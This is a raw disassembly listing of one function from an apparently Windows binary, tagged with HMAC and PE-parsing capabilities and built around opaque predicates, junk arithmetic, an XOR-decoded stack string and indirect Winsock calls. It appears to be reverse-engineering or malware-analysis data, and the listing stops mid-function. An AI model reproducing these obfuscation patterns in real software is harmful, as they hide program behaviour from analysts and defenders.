Function at 0x1400b8e8c
Capabilities:
Authenticate hmac
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov rax, qword [0x1402a0ec0]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf], xmm0
lea rcx, [rbp + 0x5f]
movabs rdx, 0xff00ff00ff00ff07
mov qword [rbp + 0x17], rdx
mov qword [rbp + 0x1f], rcx
mov rax, qword [rcx]
xor rax, rdx
mov qword [rbp + 0xf], rax
xor ebx, ebx
mov qword [rcx], rbx
call fcn.1400752e8
movsx esi, al
call fcn.1400752e4
movsx r14d, al
mov r9d, r14d
imul r9d, esi
call fcn.1400752f4
movsx r12d, al
lea ecx, [r9 + r9*4]
lea r10d, [r12 + rcx*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x40], xmm1
lea r15d, [r12 + r9*4]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b8fc4
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
jne 0x1400b9025
lea edx, [r9 + r9*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r12d
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b901d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x40]
cvttsd2si eax, xmm0
jmp 0x1400b9021
mov eax, dword [rsp + 0x40]
cmp ebx, eax
jge 0x1400b9036
mov rax, qword [0x140255e90]
mov qword [rbp + 7], rax
lea r10, [rbp + 7]
jmp 0x1400b903b
mov r10, qword [rsp + 0x38]
cmp byte [r10], bl
jne 0x1400b9a96
mov dword [rsp + 0x30], ebx
mov eax, dword [rsp + 0x30]
lea eax, [r12 + r9*2]
add eax, r9d
mov dword [rsp + 0x40], eax
call fcn.1400752ec
movsx r11d, al
call fcn.1400752f8
movsx ebx, al
call fcn.1400752f0
movsx edi, al
mov r9d, r14d
imul r9d, esi
mov esi, r12d
lea eax, [r9 + r9*4]
lea r14d, [r12 + rax*2]
movsd xmm3, qword [0x140255ef8]
movsd xmm4, qword [0x140255ef0]
movsd xmm5, qword [0x140255ee8]
mov r12d, dword [rsp + 0x40]
mov r13d, dword [rsp + 0x40]
movsx edx, byte [0x1402a1e80]
imul edx, r11d
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b9284
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b9137
movsx ecx, byte [0x1402a1e80]
imul ecx, r11d
lea edx, [rcx + rcx*8]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b9137
mov r12d, 4
jmp 0x1400b918e
lea edx, [r9 + r9*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b918e
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r12d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b9203
movsx ecx, byte [0x1402a1e80]
imul ecx, r11d
lea edx, [rcx + rcx*8]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b9203
mov r13d, 4
jmp 0x1400b925a
lea edx, [r9 + r9*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b925a
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r13d, xmm0
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [r10 + rax*4 + 4]
and r8d, r13d
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [r10 + rax*4 + 4]
sub edx, r8d
add edx, r12d
movsxd rax, dword [rsp + 0x30]
mov dword [r10 + rax*4 + 4], edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x40]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b988d
movsx edx, byte [0x1402a1e80]
imul edx, r11d
add edx, edx
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b9495
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b933f
movsx ecx, byte [0x1402a1e80]
imul ecx, r11d
lea edx, [rcx + rcx*8]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b933f
mov dword [rbp - 0x7d], 4
jmp 0x1400b9398
lea edx, [r9 + r9*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b9398
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x7d], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b940f
movsx ecx, byte [0x1402a1e80]
imul ecx, r11d
lea edx, [rcx + rcx*8]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b940f
mov dword [rsp + 0x48], 4
jmp 0x1400b9469
lea edx, [r9 + r9*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b9469
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x48], eax
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [r10 + rax*4 + 4]
and r8d, dword [rsp + 0x48]
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [r10 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x7d]
movsxd rax, dword [rsp + 0x30]
mov dword [r10 + rax*4 + 4], edx
movsx ecx, byte [0x1402a1e80]
imul ecx, r11d
imul edx, ecx, 7
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b967f
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b952c
movsx ecx, byte [0x1402a1e80]
imul ecx, r11d
lea edx, [rcx + rcx*8]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b952c
mov dword [rbp - 0x75], 4
jmp 0x1400b9585
lea edx, [r9 + r9*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b9585
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x75], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b95fb
movsx ecx, byte [0x1402a1e80]
imul ecx, r11d
lea edx, [rcx + rcx*8]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b95fb
mov dword [rbp - 0x79], 4
jmp 0x1400b9654
lea edx, [r9 + r9*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b9654
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x79], eax
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [r10 + rax*4 + 4]
and r8d, dword [rbp - 0x79]
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [r10 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x75]
movsxd rax, dword [rsp + 0x30]
mov dword [r10 + rax*4 + 4], edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + r9*8]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b988d
mov eax, dword [rsp + 0x30]
sub eax, 0xc
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b972b
movsx ecx, byte [0x1402a1e80]
imul ecx, r11d
lea edx, [rcx + rcx*8]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b972b
mov dword [rbp - 0x6d], 4
jmp 0x1400b9784
lea edx, [r9 + r9*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b9784
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6d], eax
mov eax, dword [rsp + 0x30]
sub eax, 0xc
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b9809
movsx ecx, byte [0x1402a1e80]
imul ecx, r11d
lea edx, [rcx + rcx*8]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b9809
mov dword [rbp - 0x71], 4
jmp 0x1400b9862
lea edx, [r9 + r9*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b9862
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x71], eax
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [r10 + rax*4 + 4]
and r8d, dword [rbp - 0x71]
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [r10 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x6d]
movsxd rax, dword [rsp + 0x30]
mov dword [r10 + rax*4 + 4], edx
movsx edx, byte [0x1402a1e80]
imul edx, r11d
shl edx, 3
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b9a7f
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x140255ee0]
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b9928
movsx ecx, byte [0x1402a1e80]
imul ecx, r11d
lea edx, [rcx + rcx*8]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b9928
mov dword [rbp - 0x65], 4
jmp 0x1400b9981
lea edx, [r9 + r9*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b9981
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x65], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x140255ee0]
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b99fb
movsx ecx, byte [0x1402a1e80]
imul ecx, r11d
lea edx, [rcx + rcx*8]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400b99fb
mov dword [rbp - 0x69], 4
jmp 0x1400b9a54
lea edx, [r9 + r9*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400b9a54
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x69], eax
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [r10 + rax*4 + 4]
and r8d, dword [rbp - 0x69]
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [r10 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x65]
movsxd rax, dword [rsp + 0x30]
mov dword [r10 + rax*4 + 4], edx
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 1
jb 0x1400b90a4
mov byte [r10], 1
mov eax, dword [r10 + 4]
lea rcx, reloc.WS2_32.dll_htons
call qword [rcx + rax*8]
mov dword [rbp - 0x59], 0xacf0f998
mov dword [rbp - 0x55], 0xf2fbf78e
mov dword [rbp - 0x51], 0xfcf29df2
mov dword [rbp - 0x4d], 0xfcfcfef0
mov word [rbp - 0x49], 0xfeff
mov byte [rbp - 0x47], reloc.WS2_32.dll_sendto
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x46], xmm0
mov qword [rbp - 0x36], rax
mov word [rbp - 0x2e], ax
mov byte [rbp - 0x2c], al
mov sil, Ordinal_26
lea r13d, [rax + 0x21]
lea r12d, [rax + 6]
or r14, 0xffffffffffffffff
mov dil, byte [rbp + 0x27]
call fcn.14001acc4
mov rbx, qword [rax]
call fcn.14001accc
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x2e
jae 0x1400ba42c
movzx r8d, byte [rbp + r9 - 0x59]
mov rdx, r8
cmp rbx, r9
ja 0x1400ba423
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1400b9b50
movabs rcx, 0x70036c1becd43531
add rcx, r9
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
sub dil, 0x57
jmp 0x1400b9b8a
je 0x1400ba3b2
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400ba342
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1400ba314
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1400ba2f4
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400ba2d9
cmp r10, r9
ja 0x1400ba41a
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x1400b9bb3
lea ecx, [r9 + 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
jmp 0x1400b9bda
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400ba2a5
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400ba266
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400ba24c
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1400ba015
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1400b9ff8
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1400b9fde
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x1400b9fc2
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400b9fa5
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x1400b9f8b
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x1400b9f6d
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400b9f53
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x1400b9f35
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1400b9be7
lea rbx, [r10 + 5]
lea r10, [rbx + 5]
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x1400ba3fe
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x1400ba3e2
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1400b9d97
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x1400b9d7d
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1400b9d63
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x1400b9eee
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x1400b9ea1
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1400b9e62
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x1400b9be7
lea rbx, [r10 + 0x20]
lea r10, [rbx + 0x20]
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x1400b9e54
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1400b9e3a
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x1400b9e2c
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x1400b9e12
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1400b9df5
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1400b9de7
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x1400b9dcd
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x1400b9db1
lea rbx, [r10 + 0x200]
lea r10, [rbx + 0x200]
jmp 0x1400b9be7
lea ecx, [r9 - 0x65]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3d
jmp 0x1400b9bda
lea ecx, [r9 + 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x71
jmp 0x1400b9b8a
lea ecx, [r9 - 0x29]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1f
jmp 0x1400b9b18
lea ecx, [r9 + 0x28]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
mov r11b, r9b
jmp 0x1400ba2bd
lea ecx, [r9 - 0x3a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x1400ba2ef
lea edx, [r9 + 0x64]
mov ecx, Ordinal_35
jmp 0x1400b9fc9
lea ecx, [r9 + 2]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xe
mov r11b, r9b
jmp 0x1400ba27e
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x1400ba29d
lea edx, [r9 + 0x3e]
mov ecx, Ordinal_41
jmp 0x1400b9f76
lea ecx, [r9 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x1400ba362
lea edx, [rsi + r9]
mov ecx, Ordinal_45
jmp 0x1400b9f3e
lea ecx, [r9 - 0x3f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x47
cmp r10, 0x7a
jb 0x1400ba200
mov r11b, r9b
lea ecx, [r11 - 0x7a]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 0x54]
jmp 0x1400ba2bd
lea ecx, [r9 + 0x5f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x67
cmp rbx, 0x80
jae 0x1400ba20a
lea rax, [r10 + 0x80]
cmp rbx, rax
jbe 0x1400ba188
lea edx, [r9 - 0x4e]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400b9e77
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x15
lea rax, [r10 + rbx]
cmp rax, 1
je 0x1400ba22e
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x1400ba0b0
lea ecx, [r9 - 0x53]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
